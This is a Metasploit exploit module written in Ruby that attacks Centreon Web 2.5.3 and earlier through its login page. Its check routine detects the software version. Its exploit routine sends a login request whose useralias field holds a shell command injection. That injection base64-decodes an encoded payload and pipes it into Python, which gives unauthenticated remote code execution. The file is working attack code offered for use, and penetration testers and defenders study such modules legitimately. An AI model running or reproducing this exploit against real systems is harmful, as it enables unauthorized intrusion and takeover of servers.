88 lines
2.6 KiB
Ruby
88 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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Rank = ExcellentRanking
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Centreon Web Useralias Command Execution',
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'Description' => %q(
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Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL
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errors. This functionality can be abused for arbitrary code
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execution, and can be triggered via the login screen prior to
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authentication.
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),
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'Author' =>
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[
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'h00die <mike@shorebreaksecurity.com>', # module
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'Nicolas CHATELAIN <n.chatelain@sysdream.com>' # discovery
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],
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'References' =>
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[
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[ 'EDB', '39501' ]
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],
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'License' => MSF_LICENSE,
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'Platform' => ['python'],
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'Privileged' => false,
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'Arch' => ARCH_PYTHON,
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'Targets' =>
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[
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[ 'Automatic Target', {}]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Feb 26 2016'
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)
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)
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/'])
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], self.class
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)
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end
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def check
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begin
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'method' => 'GET'
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)
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/LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body
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if version && Gem::Version.new(version) <= Gem::Version.new('2.5.3')
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vprint_good("Version Detected: #{version}")
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Exploit::CheckCode::Appears
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else
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Exploit::CheckCode::Safe
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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end
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end
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def exploit
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begin
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vprint_status('Sending malicious login')
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send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'method' => 'POST',
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'vars_post' =>
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{
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'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\",
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'password' => Rex::Text.rand_text_alpha(5)
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}
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)
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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end
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end
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end
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